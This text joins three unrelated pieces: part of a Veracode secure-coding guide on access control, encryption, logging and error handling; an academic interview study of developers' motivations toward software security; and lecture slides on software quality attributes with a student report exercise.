- Consider checking if the user has access to a feature in code, as opposed to checking the user’s role.
- Adopt a framework that supports server-side trusted data for driving access control. Key elements of the framework include user identity and log-in state, user entitlements, overall access control policy, the feature and data requested, along with time and geolocation.

RISKS ADDRESSED



Insecure direct
object references



Missing function-
level access control

RESOURCES

- ➔ [Veracode Guide to Spoofing Attacks](#)
- ➔ [OWASP Access Control Cheat Sheet](#)
- ➔ [OWASP Testing Guide for Authorization](#)

EXAMPLES | Coding to the activity

Consider checking if the user has access to a feature in code, as opposed to checking what role the user is in code. Below is an example of hard-coding role check.

```
if (user.hasRole("ADMIN") || user.hasRole("MANAGER")) {  
    deleteAccount();  
}
```

Consider using the following string.

```
if (user.hasAccess("DELETE_ACCOUNT")) {  
    deleteAccount();  
}
```

Improve protection
and resiliency in
your applications by
building authorization
or access controls
during the initial
stages of application
development.

Protect Data

Organizations have a duty to protect sensitive data within applications. To that end, you must encrypt critical data while it's at rest and in transit. This includes financial transactions, web data, browser data, and information residing in mobile apps. Regulations like the EU General Data Protection Regulation make data protection a serious compliance issue.

SECURITY TIPS

- Don't be tempted to implement your own homegrown libraries. Use security-focused, peer-reviewed, and open source libraries, including the Google KeyCzar project, Bouncy Castle, and the functions included in SDKs. Most modern languages have implemented crypto-libraries and modules, so choose one based on your application's language.
- Don't neglect the more difficult aspects of applied crypto, such as key management, overall cryptographic architecture design, tiering, and trust issues in complex software. Existing crypto hardware, such as a Hardware Security Module (HSM), can make your job easier.
- Avoid using an inadequate key, or storing the key along with the encrypted data.
- Don't make confidential or sensitive data accessible in memory, or allow it to be written into temporary storage locations or log files that an attacker can view.
- Use transport layer security (TLS) to encrypt data in transit.

RISKS ADDRESSED



Sensitive data
exposure

SOLUTION

➔ Veracode Developer Training

RESOURCES

- ➔ Encryption and Decryption in Java Cryptography
- ➔ Cryptographically Secure Pseudo-Random Number Generators
- ➔ OWASP Cryptographic Storage Cheat Sheet
- ➔ OWASP Password Storage Cheat Sheet

EXAMPLE | Cryptographically secure pseudo-random number generators

The security of basic cryptographic elements largely depends on the underlying random number generator (RNG). An RNG that is suitable for cryptographic usage is called a cryptographically secure pseudo-random number generator (CSPRNG). Don't use `Math.random`. It generates random values deterministically, and its output is considered vastly insecure.

In Java, this is the most secure way to create a randomizer object on Windows:

```
SecureRandom secRan = SecureRandom.getInstance("Windows-PRNG");  
byte[] b = new byte[NO_OF_RANDOM_BYTES];  
secRan.nextBytes(b);
```

On Unix-like systems, use this example:

```
SecureRandom secRan = new SecureRandom();  
byte[] b = new byte[NO_OF_RANDOM_BYTES];  
secRan.nextBytes(b);
```

Coding secure crypto can be difficult due to the number of parameters that you need to configure. Even a tiny misconfiguration will leave an entire crypto-system open to attacks.

Implement Logging and Intrusion Detection

Logging should be used for more than just debugging and troubleshooting. Logging and tracking security events and metrics helps to enable what's known as attack-driven defense, which considers the scenarios for real-world attacks against your system. For example, if a server-side validation catches a change to a non-editable, throw an alert or take some other action to protect your system. Focus on four key areas: application monitoring; business analytics and insight; activity auditing and compliance monitoring; and system intrusion detection and forensics.

SECURITY TIPS

- Use an extensible logging framework like SLF4J with Logback, or Apache Log4j2, to ensure that all log entries are consistent.
- Keep various audit and transaction logs separate for both security and auditing purposes.
- Always log the timestamp and identifying information, like source IP and user ID.
- Don't log opt-out data, session IDs, or hash value of passwords, or sensitive or private data including credit card or Social Security numbers.
- Perform encoding on untrusted data before logging it to protect from log injection, also referred to as log forging.
- Log at an optimal level. Too much or too little logging heightens risk.

RISKS ADDRESSED



All the OWASP
Top 10 Risks

RESOURCE

➔ OWASP Logging Cheat Sheet

EXAMPLES | Disabling mobile app logging in production

In mobile applications, developers use logging functionality for debugging, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform), but by any third-party application installed on the same device. For this reason, disable logging functionality in production release.

Android

Use the Android ProGuard tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:

```
-assumenosideeffects class android.util.Log
{
    public static boolean isLoggable(java.lang.String, int);
    public static int v(...);
    public static int i(...);
    public static int w(...);
    public static int d(...);
    public static int e(...);
}
```

iOS

Use the preprocessor to remove any logging statements:

```
#ifndef DEBUG
#define NSLog(...)
#endif
```

Logging and tracking security events and metrics enables attack-driven defense, which considers the scenarios for real-world attacks against your system.

Leverage Security Frameworks and Libraries

You can waste a lot of time — and unintentionally create security flaws — by developing security controls from scratch for every web application you're working on. To avoid that, take advantage of established security frameworks and, when necessary, respected third-party libraries that provide tested and proven security controls.

SECURITY TIPS

- Use existing secure framework features rather than using new tools, such as third-party libraries.
- Because some frameworks have security flaws, build in additional controls or security protections as needed.
- Use web application security frameworks, including Spring Security, Apache Shiro, Django Security, and Flask security.
- Regularly check for security flaws, and keep frameworks and libraries up to date.

BONUS PRO TIP

The crucial thing to keep in mind about vulnerable components is that it's not just important to know when a component contains a flaw, but whether that component is used in such a way that the flaw is easily exploitable. Data compiled from customer use of our SourceClear solution shows that at least nine times out of 10, developers aren't necessarily using a vulnerable library in a vulnerable way.

By understanding not just the status of the component but whether or not a vulnerable method is being called, organizations can pinpoint their component risk and prioritize fixes based on the riskiest uses of components.

[Learn more](#)

RISKS ADDRESSED



All common web
application vulnerabilities

SOLUTION

➔ Veracode Software Composition Analysis

RESOURCE

➔ A Best Practice Guide to Managing Your Open Source Risk

Monitor Error and Exception Handling

Error and exception handling isn't exciting, but like input validation, it is a crucial element of defensive coding. Mistakes in error and exception handling can cause leakage of information to attackers, who can use it to better understand your platform or design. Even small mistakes in error handling have been found to cause catastrophic failures in distributed systems.

SECURITY TIPS

- Conduct careful code reviews and use negative testing, including exploratory testing and pen testing, fuzzing, and fault injection, to identify problems in error handling.
- Manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code. In addition, verify that all unexpected behaviors are correctly handled inside the application.
- Confirm that error messages sent to users aren't susceptible to critical data leaks, and that exceptions are logged in a way that delivers enough information for QA, forensics, or incident response teams to understand the problem.

EXAMPLE | Information leakage

Returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different errors in different situations (for example, "invalid user" vs. "invalid password" on authentication errors) can also help attackers find their way in.

RISKS ADDRESSED



All the OWASP
Top 10 Risks

SOLUTION

➔ Veracode Manual Penetration Testing

RESOURCE

➔ OWASP Code Review Guide: Error Handling

Additional Resources



VISIT

- ➔ Veracode Application Security Knowledge Base
- ➔ OWASP Cheat Sheet Series



READ

- ➔ The Tangled Web: A Guide to Securing Modern Web Applications, by Michal Zalewski
- ➔ Secure Java: For Web Application Development, by Abhay Bhargav and B. V. Kumar



WATCH

- ➔ Understanding Applications in the Security Ecosystem
- ➔ Branded Vulnerabilities: How to Respond to Real Risk, Not Media Hype

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VERACODE

Motivations and Amotivations for Software Security

Preliminary Results

Hala Assal
School of Computer Science
Carleton University
Ottawa, ON, Canada
HalaAssal@scs.carleton.ca

Sonia Chiasson
School of Computer Science
Carleton University
Ottawa, ON, Canada
chiasson@scs.carleton.ca

ABSTRACT

We conducted an interview study with software developers to explore factors influencing their motivation towards security. We identified both *intrinsic* and *extrinsic* motivations, as well as different factors that led participants to lack motivation towards software security. We found that when the motivation stems from the developer, rather than external factors, our participants exhibited better attitudes towards software security. We discuss each of the identified (a)motivations and the importance of transforming motivations to be internally-driven by developers.

1. INTRODUCTION

Developers are not necessarily security experts, however, end-users expect them to develop secure applications. Security initiatives and tools have been proposed to support the integration of security in the Software Development Lifecycle (SDLC) (*e.g.* [4, 7, 9, 22]). Despite these efforts, vulnerabilities persist [16] and even extend to applications that were not considered security-sensitive [14, 17]. Conflicting opinions argue the reason might be because security guidelines do not exist or are not mandated by the companies [29, 32, 33], that developers lack security knowledge [5, 31], or that developers might lack the ability [16] or proper expertise [6] to identify vulnerabilities despite having security knowledge.

Recently, usable security research focused on developers and the human factors of software security [13]. For example, Acar *et al.* [2] developed a research agenda that focuses on proposing and improving security tools and methodologies, as well as understanding how developers' view and deal with software security. Our previous work [3] explored software security practices in real-life and identified factors that may influence these practices. In this paper, we explore factors that motivate (or deter) developers from addressing software security. One of the problematic properties of security is *the unmotivated user property* [28]. This concept also applies to software developers—security is rarely their primary objective [2, 13]. From our study, we also found several factors that may induce developers' amotivation towards security,

despite their knowledge and belief of its importance. Thus, besides supporting developers technically with security tools and libraries, our data shows the importance of internalizing software security and acting with volition towards it.

2. RELATED WORK

Ensuring application security is not a trivial task, especially for developers who are often mistaken as security experts [2, 13]. Different approaches have been proposed to support developers in their security tasks, including using machine learning to assist in the discovery of vulnerabilities [15, 25], supporting developers' information needs during vulnerability analysis [22], and improving the usability of Application Programming Interfaces (APIs) [1, 31].

Baca *et al.* [6] suggested that to achieve best results in analyzing security vulnerabilities, developers need to gain practical experience in using Static-code Analysis Tools (SATs) with a focus on security aspects. Oliveira *et al.* [16] recommended in-context security education. Thomas *et al.* [24] also recommends providing training opportunities that target the specific security issues that developers encounter in their code, and tailoring security training to address developers' weak security knowledge spots.

Previous work investigated factors that influence the adoption of new security tools [29, 32, 33]. The development company's policies and the overall company culture towards security were found to be among the main deciding factors in motivating security in development and encouraging developers' decision to adopt new security tools [32, 33]. The domain and context of use of the application was another prominent factor in adopting security tools [32, 33]. In addition, some developers are reluctant to use security tools because they are complex and require special security knowledge [29, 32]. For many, installing and learning how to use and interpret the output of a new tool was too steep a cost that sometimes outweighs the benefits [29]. In addition, through a survey with information system professionals (*e.g.*, developers, analysts, managers), Woon and Kankanhalli [30] found that participants' perception of the usefulness of security to their applications influences their intentions to practice secure development.

This work focuses on factors that influence the adoption of security processes in general. In this paper, we explore developers' motivations and amotivations to software security.

3. METHODOLOGY

We designed a semi-structured interview study to explore developers' motivation to software security and received IRB

clearance. We recruited 13 participants through posting on development forums and relevant social media groups, and announcing the study to professional acquaintances. Each participant received a \$20 Amazon gift card as compensation. Each interview lasted approximately one hour, was audio recorded, and later transcribed for analysis. Data collection was done in 3 waves, each followed by preliminary analysis and preliminary conclusions [12]. We followed Glaser and Strauss’s [12] recommendation by concluding recruitment on saturation (*i.e.*, when new data collection does not add new themes or insights to the analysis). Other aspects of these interviews were published separately [3], but this paper focuses on different analysis.

All participants hold university degrees which included courses in software programming, and are currently employed in development with an average of 9.35 years of development experience (*median* = 8). Our dataset included participants developing different application types: web applications and services (*e.g.*, e-finance, online productivity, online booking, and social networking), embedded software, kernels, design and engineering software, support utilities, and information management and support systems.

Analysis. We used Grounded Theory methodology [23] to analyze our interviews. We did not start with a preconceived theory, rather we started by exploring the data to offer insights and enhance understanding of the phenomenon under study. We used Atlas.ti to code our interviews, which resulted in a total of 170 open codes.

4. RESULTS

We identified *both* intrinsic and extrinsic motivations to software security. Intrinsic motivation is when an activity is voluntarily performed for the pleasure and enjoyment it causes. Intrinsic motivations are driven by humans’ “inherent tendency to seek out novelty and challenges, to extend and exercise one’s capacities, to explore, and to learn.” [19]. In contrast, extrinsic motivation is when a person is engaged in an activity for outcomes separate from those innate to the activity itself [10]. In addition, we identified amotivations to software security, where the person lacks motivation to act (they do not act at all or act without intent) [19].

4.1 Motivations to software security

Intrinsic motivation. The only intrinsic motivation to security in our data was “*self-improvement*”, where the developer challenges one-self to write secure code. For example, P1 said, “*Sometimes I will have the challenge, that ‘okay, this time I’m going to submit [my code] for a review where nobody will give me a comment’.*”

On the other hand, we found several extrinsic motivations to software security that vary in the degree of autonomy—whether the motivation is internal to the developer, or driven by external factors [10].

Internally-driven extrinsic motivation. *Professional responsibility* and *concern for users* are two extrinsic motivations, where the action is not performed for its inherent enjoyment, but rather to fulfill what the developer views as their responsibility to their profession and to safeguard users’ privacy and security. For example, P3 said, “*I would not feel comfortable with basically having something used by end users that I didn’t feel was secure, or I didn’t feel re-*

spective of privacy, umm so I would try very hard to not compromise on that.”

In addition, our analysis shows that *understanding the implications* of ignoring or dismissing security, increased security awareness and motivated participants’ teams to integrate security in their SDLCs. This was especially true when the understanding came through practical examples of how the developer’s code could lead to a security issue or through experiencing a real security issue at work. P4 explained, “*I know for me personally when I realized just how catastrophic something could be, just by making a simple mistake, or not even a simple mistake, just overlooking something simple, it changes your focus.*”

Caring about the *company reputation* and recognizing how it could be negatively affected in case of a security breach is another motivator. Moreover, when the whole project team is responsible for security, as opposed to singling out a specific entity, our participants recognized that as part of the team they should participate in this *shared responsibility*. P10 explained, “*[If we find a vulnerability,] we try not to say, ‘you personally are responsible for causing this vulnerability’. I mean, it’s a team effort, people looked at that code and they passed on it too, then it’s shared, really.*” We found evidence in our data that this behaviour could have a snowball effect and lead to motivating more team-members to recognize the importance of considering security as their colleagues do (*induced initiative*). P7 said, “*When you see your colleagues actually spending time on something, you might think that ‘well, it’s something that’s worth spending time on’, but if you worked in a company that nobody just touches security then you might not be motivated that much.*”

Externally-driven extrinsic motivation. We identified security motivations that are driven by external factors, such as receiving rewards and avoiding punishment. Our analysis shows that addressing security can be driven by the desire to being recognized as the security expert or receiving acknowledgement, or maintaining self-esteem and self-worth (*prestige*). In addition, receiving rewards in the form of *career advancement* is another external motivation for security. We also found three motivations that are driven by the desire to avoid negative consequences of the lack of security: an overseeing entity finding non-compliance with regulations (*audit fear*), losing marketshare or market value in case of a security breach (*business loss*), and being monitored and pressured by superiors (*pressure*). P1 explained, “*If they find a security issue, then you will be in trouble. Everybody will be at your back, and you have to fix it as soon as possible.*”

4.2 Software security amotivations

We also explored amotivations for software security; why security is deferred or dismissed.

Perceived lack of competence. Our analysis revealed that the *lack of resources* and the *lack of support* are two factors that led to a perceived lack of competence to address software security. Some participants indicated that they do not have the necessary budget, time, people-power, or expertise, to properly address security in their SDLC. For example, P12 said, “*We don’t have that much manpower to explicitly test security vulnerabilities, [...] we don’t have those kind of resources. But ideally if we did have [a big] company, I would have a team dedicated to find exploits. But unfortu-*

nately we don't. We also found that this lack of trust in their ability to address security occurs when there is no security plan in place, when security tools are nonexistent or lacking, and when developers are unaware of such tools' availability.

Lack of interest, relevance, or value. The other type of amotivation comes from the lack of interest, relevance, or value of performing security tasks. The lack of relevance could happen when security is not considered one of the developer's everyday duties (*not my responsibility*), or when security is viewed as another entity's responsibility (*security is handled elsewhere*), such as another team or team-member. Our analysis shows that when this is the general attitude in a team, it could have detrimental effects such as *induced passiveness*. For example, even though P9 believed in the importance of addressing security, he became amotivated towards it and prefers to focus on his 'more valuable' existing duties. He said, "*I don't really trust [my team members] to run any kind of, like, source code scanners or anything like that. I know I'm certainly not going to.*"

Additionally, our analysis revealed reasons why security efforts lack value for some teams as indicated by participants in our dataset. First, we found that some of our teams suffer from the optimistic bias [18, 27], thinking that attackers would not be interested in their applications, or that they are not a big enough company to be a target for attacks. Thus, as they see *no perceived risk* and security efforts lack value. We also found that when there are no perceived negative consequence to the individuals or to the business from the lack of security in the SDLC (*no perceived loss*), then security efforts lack value. For example, when developer are not held responsible for security issues found in their code, they would rather spend their time on aspects for which they will be held responsible. P7 explained, "*[If] I made a bad security decision, nobody would blame me as much as if I made a decision that lead to a [non-security] bug in the system. So the priority of security is definitely lower than introducing bugs in the system.*" Moreover, as different tasks compete for resources (the developer's time in the previous quote), when security has no perceived value, those deemed more valuable are prioritized.

Defiance/Resistance to influence. The final amotivation we identified is *inflexibility*. We found that some developers would work around security, not because it is difficult to comply, but rather because it conflicts with their perception of the proper way of coding, or it conflict with how they are used to writing code. P9 explained how one of his team members resists using a framework in the proper way, despite having "*gotten into so many arguments*" (P9) with his manager, "*I can tell he is very self-absorbed with his own thoughts, and he thinks that what he says is somehow the truth, even if it doesn't necessarily pan out that way*".

5. DISCUSSION

Several factors lead to the types of amotivation identified in our data, such as the optimism bias—thinking that the applications are safe from the adverse consequences of lack of security. It could also arise from workplace dynamics, *e.g.*, in a team where secure coding and security tasks are resisted, a developer may feel that her efforts towards software security alienates her from the team, and with no expectation of reward, she may lose motivation to go the extra-mile. It could also induce a feeling of helplessness [26] based on dis-

belief that her focus on security could change the course of events, given that the majority of the application was not built with security in mind.

On the other hand, in teams where security was in the company culture and support for security tasks was available, developers were more motivated to focus on software security. This could be because they feel competent to perform their security tasks, especially when support for such tasks and learning opportunities are available. It could also be because, in such teams, secure coding behaviour increases the developers' relatedness to their teams, *e.g.*, by feeling they are connected to the culture and contribute to the team. Consequently, rather than performing security tasks purely to follow mandates, developer internalize such tasks, accept them, and experience volition to act.

In fact, we found that even in cases where security tasks were mandatory, motivation to act often arises from reasons other than the mandate. Although it may be a first step to motivate security, mandating security tasks should be accompanied by improving the morale when it comes to security through adopting a security culture, supporting developers in these tasks and providing positive encouragement, and allowing developers and teams to see the value of such tasks and identify with them. This facilitates internalization of security, which has a significant positive effect on persistence and performance [19].

6. CONCLUDING REMARKS

Finding the best way to motivate developers is not a trivial task. External rewards and punishment may help induce external motivation. However, previous research found that these have a detrimental effect on intrinsic motivation as it shifts the perceived locus of causality from internal to external. In addition, research in the education domain found that tangible rewards negatively influence conceptual learning and problem solving [11]. Other research hypothesizes that engagement-contingent and non-tangible rewards may avoid the externalization of intrinsic motivations [8, 19]. However, research in this area is inconclusive [11]. Moreover, the effect of reward (or punishment) contingencies on internalizing and accepting activities is unclear [21].

With all these uncertainties and potential negative effects that reward contingencies may have on motivation and performance, we highlight the need for future research focusing on the long-term effect of reward (and punishment) contingencies on intrinsic motivation and the internalization of software security. In addition, research recommendations for incentivizing developers through tangible rewards should be re-assessed based on their long-term effects.

Previous research demonstrated the importance of internalizing external motivation as it leads to improved performance and the ability to learn [19, 20]. As a continuation to the work presented herein, we will focus our analysis on the process of internalizing software security to understand factors that influence developers' internalization of software security activities and how it can be supported.

7. ACKNOWLEDGMENTS

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Software Quality Attributes

Nuno Silva, PhD, Critical Software SA

E.: npsilva@ua.pt; M: 932574030

Mestrado em Cibersegurança – Robust Software

Agenda

- Motivation
- Objectives
- Software Quality Assurance
- Software Quality Standards
- Software Quality Attributes
- References
- Exercise



Motivation

- Software Quality is the “sum” of the Software Quality attributes. If we focus on only a few of these attributes we will suffer the consequences...
- Generally, **system requirements** shall define what is expected regarding the quality attributes applicable to the system, however, this is not always completely done.
- Being aware of these attributes and the expectations will drive the design and the implementation of the system...
- and avoid bad news later!



Objectives

- Identify and quantify software quality attributes.
- Acknowledge the importance of quality attributes.
- Be aware of how they can be verified / validated.
- Be able to determine if the set of quality attributes is complete.
- Be prepared to design and implement taking into account the defined software attributes.

Software Quality Assurance

- Software Quality Assurance is a set of rules for ensuring the quality of the software that will result in the quality of software product.
Software quality includes the following activities:
 - Process definition and implementation
 - Auditing
 - Training
- But what is Quality?





Software Quality Assurance

- Degree of excellence – Oxford dictionary
- Fitness for purpose – Edward Deming
- Best for the customer's use and selling price – Feigenbaum
- The totality of characteristics of an entity that bear on its ability to satisfy stated or implied needs – ISO
- Capability of a software product to satisfy stated and implied needs under specified conditions. Quality represents the degree to which software products meet their stated **requirements**.



Software Quality Standards

- IEEE 1061 Technique to establish quality and validate the software with the quality metrics
- IEEE 1059 Guidance to software verification and validation
- IEEE 1008 Supports unit testing
- IEEE 1012 Supports Verification and Validation
- IEEE 1028 Guides software inspections
- IEEE 1044 Categorizes anomalies in software
- IEEE 830 Standard for development of a system with accurate requirements specifications
- IEEE 730 Standard for the product's quality assurance
- IEEE 1061 Standard for the product's quality metrics
- IEEE 12207 Standard for life cycle processes of both data and software
- ISO/IEC 29119: Software Testing Standard
- ISO/IEC 250xx: Systems and software Quality Requirements and Evaluation (SQuaRE)

Software Quality Standards

- ISO/IEC 25010:2011 Systems and software engineering — Systems and software Quality Requirements and Evaluation (SQuaRE) — System and software quality models
 - A **quality in use model** composed of five characteristics (some of which are further subdivided into subcharacteristics) that relate to the outcome of interaction when a product is used in a particular context of use. This system model is applicable to the complete human-computer system, including both computer systems in use and software products in use.
 - A **product quality model** composed of eight characteristics (which are further subdivided into subcharacteristics) that relate to static properties of software and dynamic properties of the computer system. The model is applicable to both computer systems and software products.



Software Quality Standards

- ISO/IEC 25010:2011 **quality in use model**
 - Product dev activities that can use the quality models include:
 - identifying software and system requirements;
 - validating the comprehensiveness of a requirements definition;
 - identifying software and system design objectives;
 - identifying software and system testing objectives;
 - identifying quality control criteria as part of quality assurance;
 - identifying acceptance criteria for a software product and/or software-intensive computer system;
 - establishing measures of quality characteristics in support of these activities.

Software Quality Attributes



Source: ISO/IEC CD 25010 Software engineering — Software product Quality Requirements and Evaluation (SQuaRE) — Quality model and guide, 2011.



Software Quality Attributes

We can have a very extensive list of attributes:

- Safety
- Security
- Reliability
- Resilience
- Robustness
- Understandability
- Testability
- Adaptability
- Modularity
- Complexity
- Portability
- Usability
- Reusability
- Efficiency
- Learnability
- And many other “ilities”



Software Quality Attributes

- Static
 - System structure and organization – architecture and design related, source code.
 - Not visible to the operator but affect system's development and maintenance costs.
- Dynamic
 - System behavior – architecture, design and source code, configuration and deployment parameters, system environment and running platform.
 - They are perceived at runtime, visible to the operator.



Software Quality Attributes

- Examples of Static Quality Attributes
 - Testability
 - Maintainability
 - Reusability
 - Modularity
 - Extensibility
- How can they be verified/tested:
 - Reviews (design, documentation)
 - Inspections (design, documentation, code)
 - Static Code Analysis (coding style, complexity, coupling ...)
 - Pair Programming



Software Quality Attributes

- Examples of Dynamic Quality Attributes
 - Robustness
 - Scalability
 - Fault Tolerance
 - Throughput
 - Latency
- How can they be verified/tested:
 - Testing (memory usage, execution times)
 - Non-Functional tests (performance, load/stress, robustness/fault injection, simulators, log players, ...)



Software Quality Attributes

- For Security we are focusing now on:
 - Confidentiality
 - Integrity
 - Non-repudiation
 - Accountability
 - Authenticity
 - Compliance
- Quality attributes will drive architectural tradeoffs (e.g. stateless vs stateful solution).

Software Quality Attributes::Confidentiality

- "is the property, that information is not made available or disclosed to unauthorized individuals, entities, or processes." (*Beckers, K. (2015). [Pattern and Security Requirements: Engineering-Based Establishment of Security Standards](#). Springer. p. 100. ISBN 9783319166643.*)
- Similar to "privacy" the two concepts aren't interchangeable. Confidentiality is a component of privacy that is implemented to protect data from unauthorized viewers.
- Examples of confidentiality of electronic data being compromised include laptop theft, password theft, or sensitive emails being sent to the incorrect individuals.

Software Quality Attributes::Integrity

- Maintaining and assuring the accuracy and completeness of data over its entire lifecycle. (Boritz, J. Efrim (2005). "IS Practitioners' Views on Core Concepts of Information Integrity". *International Journal of Accounting Information Systems*. Elsevier. 6 (4): 260–279. [doi:10.1016/j.accinf.2005.07.001](https://doi.org/10.1016/j.accinf.2005.07.001))
- This means that data cannot be modified in an unauthorized or undetected manner.
- It can be viewed as a special case of consistency as understood in the classic ACID model of transaction processing.
- Information security systems typically provide message integrity alongside confidentiality.
- Nota: ACID = Atomicity, Consistency, Isolation and Durability

Software Quality Attributes::Non-repudiation

- It implies that one party of a transaction cannot deny having received a transaction, nor can the other party deny having sent a transaction. (McCarthy, C. (2006). [*"Digital Libraries: Security and Preservation Considerations"*](#). In Bidgoli, H. (ed.). *Handbook of Information Security, Threats, Vulnerabilities, Prevention, Detection, and Management*. 3. John Wiley & Sons. pp. 49–76. [ISBN 9780470051214](#))
- However, it is not, for instance, sufficient to show that the message matches a digital signature signed with the sender's private key, and thus only the sender could have sent the message, and nobody else could have altered it in transit (data integrity). The alleged sender could in return demonstrate that the digital signature algorithm is vulnerable or flawed, or allege or prove that his signing key has been compromised.
- The sender may repudiate the message (because authenticity and integrity are pre-requisites for non-repudiation).

Software Quality Attributes::Accountability

- People will be held responsible for their actions and for how they perform their duties.
- Accountability involves having control and verification systems in place, and, if necessary, the ability to arrest, prosecute and convict offenders for illegal, or corrupt behaviour. All personnel must be held accountable under the law regardless of rank, status or office. (CIDS (2015), [Integrity Action Plan: a handbook for practitioners in defence establishments](#). p 8.)

Software Quality Attributes::Authenticity

- The property that data originated from its purported source. In the context of a key-wrap algorithm, the source of authentic data is an entity with access to an implementation of the authenticated-encryption function with the Key-Encryption-Key (KEK). ([NIST SP 800-38F](#))
- The property of being genuine and being able to be verified and trusted; confidence in the validity of a transmission, a message, or message originator. (NIST SP 800-37 Rev. 2)

Software Quality Attributes::Compliance

- An effective system for IT security compliance ensures that only individuals with the appropriate credentials can access the secure systems and databases that contain sensitive customer data. IT organizations that implement security monitoring systems must ensure that access to those systems is monitored at an organization level, and that actions within the system are logged such that they can be traced to their origin.
- **GDPR** - The European General Data Protection Act (GDPR) is applied to all companies that process the personal data of people who live in the European Union, even companies that are physically based outside of Europe. Compliance to GDPR is now mandatory.

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(<https://webstore.ansi.org/industry/software/software-engineering/square-software-product-quality-requirements-and-evaluation>)

Exercise



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Exercise

- #1: Use the IEEE Manuscript Templates for Conference Proceedings for your Report (A4 DOC or LaTeX), **present it in pdf (in English)** (<https://www.ieee.org/conferences/publishing/templates.html>);
 - Suggested Sections:
 - **Abstract (10%) / 1. Introduction (30%) / 2. Secure Life Cycle Description (50%) / 3. Solution Description (-) / 4. Relevant Requirements (-) / 5. Discussion of Results (-) / 6. Conclusions (-) / References (-)**
- Note1: 10% is for the presentation, English, completeness and consistency of the work.
- Note2: You can add one or 2 more sections, if necessary
- Note3: Work as a group of 3 (eventually 4) and start the work in class – **present the main idea before the end of the class for approval.**
- **Deadline: Class + 2 weeks**



Exercise

- #2: Produce a report (≤ 5 pages):
 - Title: For now its not relevant
 - Fill in the name and affiliation part (include all of the group)
 - Abstract (10%)
 - 1. Introduction (30%)
 - 2. Secure Life Cycle Description (50%)
- See details in the next slides.
- Note: **You will use this same work for future assignments – do it well.**

Exercise

- Abstract (10%)
 - Write a first version of an abstract (max 200 words) where you state that you are reporting about a secure solution developed to solve **Reliability**, **Robustness** and **Security** issues and why that solution is important, relevant and different from the existing applications.
 - Note1: Reliability and Robustness are defined in the “Extra slides”.
 - Note2: For the part of “different from the existing applications” try to be imaginative.
 - Note3: Define a sample project, sample solution with your team

Exercise

- 1. Introduction (30%)
 - Write an introduction (About 1 page)
 - Where you present a problem (real or fictitious) related to Reliability, Robustness and Security, these are only examples:
 - E.g. 1. A nuclear power plant control system that has shown to be unreliable and unsecure – rebooting randomly, erroneous outputs, freezing, external actors entering the facilities, etc.;
 - E.g. 2. A web app that can be brought down with a DoS attack, or is vulnerable to cross site scripting, accepts invalid inputs and processes them, can return unreliable results when attacked...;
 - E.g. 3. Supermarket unpaid products detection system that shuts down or doesn't detect randomly stolen products;
 - E.g. 4. A car braking system that has performance issues (e.g. takes 250 ms to react to a brake commands), stops braking at midnight, instead of braking slowly activated the full brake power when commanded, sometimes no brake is actuated, can be hacked from the wifi network, etc.
 - Etc.



Exercise

- 1. Introduction (30%) – cont'd
 - Present the problem (you can also refer to real similar cases) and the reason why it is important to be solved (security, commercial, life threats, publicity/image, etc.).
 - Present the foreseen solution by focusing on:
 - **Secure development**
 - **Quality of the solution**
 - **Confidentiality, Integrity, Non-repudiation, Accountability, Authenticity or Compliance of the solution whenever applicable.**
 - And that will be the rest of the report...

Exercise

- 2. Secure Life Cycle Description (50%)
 - Write down a short plan (About 2 pages) by picking up at least one process per phase (there are 6 main phases) and developing it (what is planned to be done in each phase: who from you is the responsible for each phase, what tasks are foreseen, what tools and technologies are needed, what training ...).
 - **Phases:**
 - See next slide
 - Present it in structured text (subsections, bullet points, table or diagrams, or a combination of those)



Exercise

- Don't forget to use/refer to the phases of the SSDL:

Phase	Microsoft SDL	McGraw Touchpoints	SAFECode
Education and awareness	Provide training		Planning the implementation and deployment of secure development
Project inception	Define metrics and compliance reporting Define and use cryptography standards Use approved tools		Planning the implementation and deployment of secure development
Analysis and requirements	Define security requirements Perform threat modelling	Abuse cases Security requirements	Application security control definition
Architectural and detailed design	Establish design requirements	Architectural risk analysis	Design
Implementation and testing	Perform static analysis security testing (SAST) Perform dynamic analysis security testing (DAST) Perform penetration testing Define and use cryptography standards Manage the risk of using third-party components	Code review (tools) Penetration testing Risk-based security testing	Secure coding practices Manage security risk inherent in the use of third-party components Testing and validation
Release, deployment, and support	Establish a standard incident response process	Security operations	Vulnerability response and disclosure



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Extra slides

- Extra SW Quality Assurance Properties

Extra SW Quality Assurance Properties

- **Correctness:** The correctness of a software system refers to:
 - Agreement of program code with specifications
 - Independence of the actual application of the software system.
- The **correctness** of a program becomes especially critical when it is embedded in a complex software system.
- **Reliability:** Reliability of a software system derives from
 - Correctness
 - Availability
- The behavior over time for the fulfillment of a given specification depends on the reliability of the software system.
- **Reliability** of a software system is defined as the probability that this system fulfills a function (determined by the specifications) for a specified number of input trials under specified input conditions in a specified time interval (assuming that hardware and input are free of errors).
- A software system can be seen as reliable if this test produces a low error rate (i.e., the probability that an error will occur in a specified time interval.)
- The error rate depends on the frequency of inputs and on the probability that an individual input will lead to an error.

Extra SW Quality Assurance Properties

- **Adequacy: Factors for the requirement of Adequacy:**
 - The input required of the user should be limited to only what is necessary. The software system should expect information only if it is necessary for the functions that the user wishes to carry out. The software system should enable flexible data input on the part of the user and should carry out plausibility checks on the input. In dialog-driven software systems, we vest particular importance in the uniformity, clarity and simplicity of the dialogs.
 - The performance offered by the software system should be adapted to the wishes of the user with the consideration given to extensibility; i.e., the functions should be limited to these in the specification.
 - The results produced by the software system: The results that a software system delivers should be output in a clear and wellstructured form and be easy to interpret. The software system should afford the user flexibility with respect to the scope, the degree of detail, and the form of presentation of the results. Error messages must be provided in a form that is comprehensible for the user.
- **Learnability:** Learnability of a software system depends on:
 - The design of user interfaces
 - The clarity and the simplicity of the user instructions (tutorial or user manual).
- The user interface should present information as close to reality as possible and permit efficient utilization of the software's failures.
- The user manual should be structured clearly and simply and be free of all dead weight. It should explain to the user what the software system should do, how the individual functions are activated, what relationships exist between functions, and which exceptions might arise and how they can be corrected. In addition, the user manual should serve as a reference that supports the user in quickly and comfortably finding the correct answers to questions.

Extra SW Quality Assurance Properties

- **Robustness:** Robustness reduces the impact of operational mistakes, erroneous input data, and hardware errors.
